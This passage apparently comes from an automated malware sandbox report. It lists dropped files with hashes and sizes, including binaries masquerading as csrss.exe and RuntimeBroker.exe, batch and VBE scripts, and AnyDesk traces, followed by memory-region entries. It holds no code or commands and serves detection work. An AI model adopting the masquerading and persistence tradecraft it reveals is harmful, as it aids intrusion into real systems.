565c7756135d7858e8963928fff8d1fdb99a452d8568319aeda4a073f51d0a23

SHA512
7aa6374b4bafae925a1da59212fdb7f262f98848c058173777c0f30c61243b982cfc3d13ce106e9eb59cfb9957c81a5b496e82a5522e9209f0c30f53f864c411

Download Submit
C:\ProgramData\curl.exe
Filesize
5.2MB

MD5
104023cef829fce3e34bf1514daff629

SHA1
b6e7b949109298ec7ff1aa64404a859b5b41ccae

SHA256
15b1158d806de14013fdc3f0e81dca725481d2393249994a122c0a70721ae9f5

SHA512
efebee49ffebf0dcb07c6e7d24477101a7c8a2a03b0bea4df9c1054943823026ffd46f54cc51fb8de062e3641f021d5cf0b23ed67d46a549ee23e5fa7b12be1e

Download Submit
C:\ProgramData\dc.exe
Filesize
1.3MB

MD5
dae7ec3880731dcd27311b4e1dab5e49

SHA1
52d88c8917cbbe4c40bf2e3a67ef8eaad2b52ffc

SHA256
59a058a95f24d57c98b1801a1bc1e1545db8be230a628e2f7dcc34c0452f2d19

SHA512
8064f3819c815db7cafe243de781bd7755f208ea932f383687421ecd56d610c1929426f6ca55b592e51147386f2ece42bc9b2ebb5a208381a510f9dd88d6e5da

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\Recovery\WindowsRE\886983d96e3d3e
Filesize
21B

MD5
e924632bb7873b68a8aa4b647de9fa20

SHA1
1c089cf51047a183e88cc027d1763291288fb895

SHA256
0cbee8a375990e042000906faaad4491ef5fcafcd7585000e9948478715c51b1

SHA512
68d48aa7f551ef4855934b5e89d1f15b0f440e943febe27ed9601c1ccbe1bc121094e9eeafd465182e538fecfeb9ab53fb71fd4bcd1e6da81981c40845f6d868

Download Submit
C:\Recovery\WindowsRE\csrss.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ComdriverSvc.exe.log
Filesize
1KB

MD5
7800fca2323a4130444c572374a030f4

SHA1
40c9b8e0e5e7d72a5293f4010f2ccf21e637b4aa

SHA256
29f5645ac14353ac460858f52c856548f3aeb144b09eef672a6b4849bafe742e

SHA512
c8a7ad930b8c07007c7a67d8c32a2a4a401dcc34ab966e0e80901655fcbe1f5c95b72a195e6381b1de56c2c987eeab093d8e89891bec9e9684785c5d824b3554

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
15e6814d543f48175183e75bdbac1216

SHA1
14c68a9b01934754e8a45c160380f3995c2420bd

SHA256
08a79a445b2b4186df9cdf2109e4a8d3e91a8f8b0ec67b266978898d36e2d0e7

SHA512
a9cb55432d54672ac683fc450e96dbf82de35c070b053b7aa647f28e827a55d1cf13cd829dcbebdf06d61762dd86a7a9b616bd1bb5c4b2cad77f4bba94014897

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
13236bc84930600a3fe656904d2a746e

SHA1
2f29ba7fa6cf7406756122ae7cb2ce40a8370cf8

SHA256
df4796ce000323ae97fcd0a6394d08f45799bd6c393aec0adf2ec054fcd3ac9e

SHA512
9186a8649df4a628f8ec8d2adabd92b3adc8366bb011029dfedbd3152e2884a661223a7b9ec9aded6c945392aedd54df6ed1308225a465dd29aaef07dc9cf0ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
11KB

MD5
81d7c845172c66676a717e57bb0afb2d

SHA1
33f9d2e1a9cefc0151e42772f06ac55abe089d4c

SHA256
c610234a97eda7ba0f07d9ab3d194f15aeea9f2eef32684cf25a1ac1dda6a917

SHA512
0934dc9dbac82ce1a5343616eb6374b925bd949096af6edbc8c5ae70e7a53871165c08df1e9f1aa57ec8d28b9a36f0cca3abda7125716d551064fedf62fe6256

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
60d3d520c22f18d0056adb8318e75825

SHA1
f5785322de4a6543e2c4d1c68d1c3409df5693a4

SHA256
d94c0bd7f6da4b128d5a60ff4d86a9cb83b1acb89d277f430a0d9baa2a6b5fe1

SHA512
414fe7331f03ea615c714ef426147554982920f99de4a82a4538075a38494d6a75698adae609f2bd0323a919b2e7a47532243159ffb47d800cf5215ec7bc8853

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
60d3d520c22f18d0056adb8318e75825

SHA1
f5785322de4a6543e2c4d1c68d1c3409df5693a4

SHA256
d94c0bd7f6da4b128d5a60ff4d86a9cb83b1acb89d277f430a0d9baa2a6b5fe1

SHA512
414fe7331f03ea615c714ef426147554982920f99de4a82a4538075a38494d6a75698adae609f2bd0323a919b2e7a47532243159ffb47d800cf5215ec7bc8853

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Temp\yJNRBzAAII.bat
Filesize
199B

MD5
f89534b8eb0f447c9370c384c15634cf

SHA1
feaae62a865ae276d1e8ded6ba0d5cf1bba2abe3

SHA256
a8d7a07116334349d2d83899a559d7a4d2a06a9be2913b416b4b5d624fa3912f

SHA512
858ccac0d60e9f5c3bcc9a29e266a5bdf9b8945dab31701b843e1880e38cf9673ac05febfb323c5bc9acc557d37bddbaccb5b5a624e78d99a0236950697992be

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
4KB

MD5
16970b7457fb86f83abab683cf1bcc55

SHA1
be97058c9a584665331c16648facf25a45b30086

SHA256
7cb76a743081eedcaab2a7fb39657c6f4d783c84480f008a01a3e08a7f6214e8

SHA512
de02c8bb8ad3dcacdb3d29a3801748cf2752471c1a8cfe71e691abff409e4b5bc3316f47c85fc6ecec480397dc55c5df2b4055940976cc3f4486928f0ccfe0d5

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
8KB

MD5
58aa32220d25eb6d2ca40bedb5d46390

SHA1
3027132a40f7ec8e8441e5f42efbb83d22f9593d

SHA256
38f0134bdd1e3cdb0d5364fb0d857d26b3db7581aa1cf5f43807fa85d4d31d58

SHA512
7dda4086752a1b045d94e5d53241800b4df48e3bc6fbeb1d8430ced1e50d9c4975d4761b42057cab9ef3706bb7a61da8d0ea5c95465e93d704a85de035ebc0af

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
11KB

MD5
e4ee8a3034b9aca73e795be37d35b71a

SHA1
b3671679fe5105225c6fec84033367f43a155f5a

SHA256
d764b2f8801a0af99133b1840714f45a13cf33208dcd7e77ea19ef48c7a9fcec

SHA512
5ad74abfca0118058d17526f8f9a702a8d0dcbc157698b19eb11931271b6444440343e2def23164dabd680d0d4d24ca43b5e819dd0d3e37d8c80189c1f6dce13

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Filesize
1KB

MD5
c78827258e0bacb70a9b40420c695480

SHA1
9f22af1a096116cff21ea9960235c437857b6cb4

SHA256
abecb7206e6568d6fb8457ec4ce39969684678c0fa021a655b92e4723bbda1b2

SHA512
4d08dc57289a872974e150c45c29d34be32cf740bd633ff0e0e89527c1cc3dce0b8ffc5601891961da46d4406c432c7e0ee3966904e1e7affd8cdf9b199a7de1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
6KB

MD5
a8332295b75147c7d621627b76b0bf32

SHA1
abebb02c67630225d682a92ed8b02ec1f71a655d

SHA256
118b82802415fb479fff502969f4bb2a94f8e174572e192fb2d4820d8d6448e6

SHA512
e37feef3bb14ff8b38a1952d09e51c7ee98ff155c56a43403d919e1d09048740516d88698648cf2eb377fc262a06e7c97750bd2c454d23332b4f40f49becf254

Download Submit
C:\odt\RuntimeBroker.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\odt\RuntimeBroker.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\programdata\1.exe
Filesize
775KB

MD5
0442a8479aa5f19dd5a64ddfd677b9f8

SHA1
fa003104e8e8e6646049a49bd517224ba34ac4b6

SHA256
5161a16217b9d8b9817ad1f6e1020e2eb625bbd6ccf82fbf9423077d0c966aa0

SHA512
51ddbff08b54bbafd365e71432697bea5a3eb49bd87dafd477a059f59e1f2f2eaa8e465abda8499745a9a81c6e10a5c44a9a255d51d79d5e8a7b7c25709abe42

Download Submit
C:\programdata\any.bat
Filesize
2KB

MD5
7189281b9182a9a412a92af69b77c836

SHA1
d98322de39d62e8d5e6f8fb7fe2ce30f578a4853

SHA256
baae6af47a9b83c57269d62cf17e4d68927adee93e5567ce2bb5ae33cbe845eb

SHA512
211be9213611bdbd44b2dac2462d0688c02f352c6c55cc6602d84b0a8ceff9a96ca79f6989ce825c8ecedf65fb13e6583fb92fb56c551bf61948320f12cbb6be

Download Submit
C:\programdata\any.exe
Filesize
6.1MB

MD5
83834462455be62ccf135f3137263119

SHA1
f23d183db2adf37e80469191c7d452e8d39935b6

SHA256
565c7756135d7858e8963928fff8d1fdb99a452d8568319aeda4a073f51d0a23

SHA512
7aa6374b4bafae925a1da59212fdb7f262f98848c058173777c0f30c61243b982cfc3d13ce106e9eb59cfb9957c81a5b496e82a5522e9209f0c30f53f864c411

Download Submit
C:\programdata\dc.exe
Filesize
1.3MB

MD5
dae7ec3880731dcd27311b4e1dab5e49

SHA1
52d88c8917cbbe4c40bf2e3a67ef8eaad2b52ffc

SHA256
59a058a95f24d57c98b1801a1bc1e1545db8be230a628e2f7dcc34c0452f2d19

SHA512
8064f3819c815db7cafe243de781bd7755f208ea932f383687421ecd56d610c1929426f6ca55b592e51147386f2ece42bc9b2ebb5a208381a510f9dd88d6e5da

Download Submit
C:\programdata\ru.bat
Filesize
32B

MD5
11e08b5abf3f1675f99c96f78c128b23

SHA1
40d6dd08262ef959328aec4dc5ed07532232037c

SHA256
50ac09332ff9d6521244b4f9cf6fd9cc489b3324ed1316e07f6a5904230397e7

SHA512
3005767016b4c5da031fb2ac5288b01821d54768b5e099e1157d4fa4621a078d589e54d9c5c89ded58ac3ca94395dacbf1d840f9210f909d3c9dfe8092de8ff9

Download Submit
C:\runtimeMonitor\ComdriverSvc.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\runtimeMonitor\ComdriverSvc.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\runtimeMonitor\ComdriverSvc.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\runtimeMonitor\PsYm20I.bat
Filesize
36B

MD5
13e52857c334ca3b14c44cffece40607

SHA1
eaa9d704385cec30f7841ef6d3c051b225007dbe

SHA256
4e457ab29e89a42a805b427decc8e571e15d857061c939ee7aa8d0bcaff25a6c

SHA512
4b0c23faad00995254ae02b5ce55de33344f66120f1e8640d80059d7cf77f3b149c46ae24bdd459881ef332331cc59e6fc50e55c1fa1a585f63dbf5badb93337

Download Submit
C:\runtimeMonitor\eW0NlR3z8rHah1r0tet2KhNAo.vbe
Filesize
198B

MD5
f3fbd4e6a0097ff2d729be2b6e494e80

SHA1
abed54083af60944e4628718061fa6b9ce402594

SHA256
b7d74a96173fd177dceead637138814738b68799b018437dbd4ba20213977e56

SHA512
f9a7f899cdc423a3214072de0a2858f212e15d9055b22cbb8536d20cea3fe199e3f44f3183c6d3e41e85a04b2b47e0497ead13eeb49e67f91e44cb19fe4a0f57

Download Submit
\??\c:\programdata\st.bat
Filesize
3KB

MD5
d7c8216954b5eb6037dd1a45dd57a4f0

SHA1
a7edc98e44c55070d28941bfc9f7d88a95576041

SHA256
cf5405b85d6f3e6365707af3302610d84596c23f0f7717c43eb11c1ac702bce7

SHA512
3338f2c096137b568cf1f3ac1ae6ab4be2b2baa7ed08aaa4b7fe6b72ddca231d456a3fa41c817b6dc14abc62c062a390a440b8a3fc6a1ab5243f7f4fc12f29af

Download Submit
\??\c:\programdata\wsappy.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
memory/260-158-0x0000000000000000-mapping.dmp

Download
memory/312-267-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/312-218-0x0000000000000000-mapping.dmp

Download
memory/312-231-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/312-233-0x0000025E28DE0000-0x0000025E28E02000-memory.dmp

Filesize
136KB

Download
memory/592-320-0x00007FFC65EC0000-0x00007FFC66981000-memory.dmp

Filesize
10.8MB

Download
memory/592-308-0x0000000000000000-mapping.dmp

Download
memory/624-154-0x0000000000000000-mapping.dmp

Download
memory/692-301-0x0000000000000000-mapping.dmp

Download
memory/696-177-0x0000000000000000-mapping.dmp

Download
memory/848-303-0x0000000000000000-mapping.dmp

Download
memory/848-314-0x00007FFC65EC0000-0x00007FFC66981000-memory.dmp

Filesize
10.8MB

Download
memory/976-309-0x0000000000000000-mapping.dmp

Download
memory/1060-170-0x0000000000000000-mapping.dmp

Download
memory/1132-174-0x0000000000000000-mapping.dmp

Download
memory/1520-238-0x0000000000000000-mapping.dmp

Download
memory/1520-276-0x00000000737E0000-0x000000007382C000-memory.dmp

Filesize
304KB

Download
memory/1584-160-0x0000000000000000-mapping.dmp

Download
memory/1608-237-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/1608-270-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/1608-222-0x0000000000000000-mapping.dmp

Download
memory/1744-215-0x0000000000000000-mapping.dmp

Download
memory/1748-181-0x0000000000000000-mapping.dmp

Download
memory/1928-315-0x00007FFC65EC0000-0x00007FFC66981000-memory.dmp

Filesize
10.8MB

Download
memory/1928-304-0x0000000000000000-mapping.dmp

Download
memory/2120-243-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/2120-226-0x0000000000000000-mapping.dmp

Download
memory/2120-262-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/2252-189-0x0000000000000000-mapping.dmp

Download
memory/2252-311-0x0000000000000000-mapping.dmp

Download
memory/2252-207-0x0000000000CA0000-0x0000000001CF9000-memory.dmp

Filesize
16.3MB

Download
memory/2252-195-0x0000000000CA0000-0x0000000001CF9000-memory.dmp

Filesize
16.3MB

Download
memory/2268-178-0x0000000000000000-mapping.dmp

Download
memory/2272-167-0x0000000000000000-mapping.dmp

Download
memory/2308-333-0x0000000000D60000-0x0000000001DB9000-memory.dmp

Filesize
16.3MB

Download
memory/2316-168-0x0000000000000000-mapping.dmp

Download
memory/2328-306-0x0000000000000000-mapping.dmp

Download
memory/2328-322-0x00007FFC65EC0000-0x00007FFC66981000-memory.dmp

Filesize
10.8MB

Download
memory/2340-234-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-221-0x0000000000000000-mapping.dmp

Download
memory/2340-266-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/2344-179-0x0000000000000000-mapping.dmp

Download
memory/2396-175-0x0000000000000000-mapping.dmp

Download
memory/2408-232-0x0000000000000000-mapping.dmp

Download
memory/2412-292-0x0000000000D60000-0x0000000001DB9000-memory.dmp

Filesize
16.3MB

Download
memory/2412-205-0x0000000000D60000-0x0000000001DB9000-memory.dmp

Filesize
16.3MB

Download
memory/2412-201-0x0000000000D60000-0x0000000001DB9000-memory.dmp

Filesize
16.3MB

Download
memory/2504-318-0x00007FFC65EC0000-0x00007FFC66981000-memory.dmp

Filesize
10.8MB

Download
memory/2504-305-0x0000000000000000-mapping.dmp

Download
memory/2644-184-0x0000000000000000-mapping.dmp

Download
memory/2696-139-0x00000000069B0000-0x00000000069E2000-memory.dmp

Filesize
200KB

Download
memory/2696-143-0x0000000007700000-0x000000000771A000-memory.dmp

Filesize
104KB

Download
memory/2696-138-0x0000000006420000-0x000000000643E000-memory.dmp

Filesize
120KB

Download
memory/2696-137-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Filesize
408KB

Download
memory/2696-145-0x0000000007980000-0x0000000007A16000-memory.dmp

Filesize
600KB

Download
memory/2696-140-0x000000006F1B0000-0x000000006F1FC000-memory.dmp

Filesize
304KB

Download
memory/2696-136-0x0000000005720000-0x0000000005786000-memory.dmp

Filesize
408KB

Download
memory/2696-135-0x0000000005580000-0x00000000055A2000-memory.dmp

Filesize
136KB

Download
memory/2696-141-0x0000000006990000-0x00000000069AE000-memory.dmp

Filesize
120KB

Download
memory/2696-132-0x0000000000000000-mapping.dmp

Download
memory/2696-142-0x0000000007D40000-0x00000000083BA000-memory.dmp

Filesize
6.5MB

Download
memory/2696-134-0x00000000057D0000-0x0000000005DF8000-memory.dmp

Filesize
6.2MB

Download
memory/2696-148-0x0000000007A20000-0x0000000007A28000-memory.dmp

Filesize
32KB

Download
memory/2696-144-0x0000000007770000-0x000000000777A000-memory.dmp

Filesize
40KB

Download
memory/2696-147-0x0000000007A40000-0x0000000007A5A000-memory.dmp

Filesize
104KB

Download
memory/2696-146-0x0000000007930000-0x000000000793E000-memory.dmp

Filesize
56KB

Download
memory/2696-133-0x0000000002F70000-0x0000000002FA6000-memory.dmp

Filesize
216KB

Download
memory/3100-249-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3100-260-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3100-227-0x0000000000000000-mapping.dmp

Download
memory/3128-230-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3128-269-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3128-219-0x0000000000000000-mapping.dmp

Download
memory/3144-247-0x0000000000000000-mapping.dmp

Download
memory/3212-188-0x0000000000000000-mapping.dmp

Download
memory/3264-298-0x0000000000000000-mapping.dmp

Download
memory/3304-271-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3304-223-0x0000000000000000-mapping.dmp

Download
memory/3304-239-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3520-225-0x0000000000000000-mapping.dmp

Download
memory/3520-272-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3520-248-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3532-149-0x0000000000000000-mapping.dmp

Download
memory/3532-153-0x000000006F1B0000-0x000000006F1FC000-memory.dmp

Filesize
304KB

Download
memory/3548-224-0x0000000000000000-mapping.dmp

Download
memory/3548-240-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3548-268-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3572-182-0x0000000000000000-mapping.dmp

Download
memory/3632-261-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3632-246-0x00007FFC66210000-0x00007FFC66CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3632-229-0x0000000000000000-mapping.dmp

Download
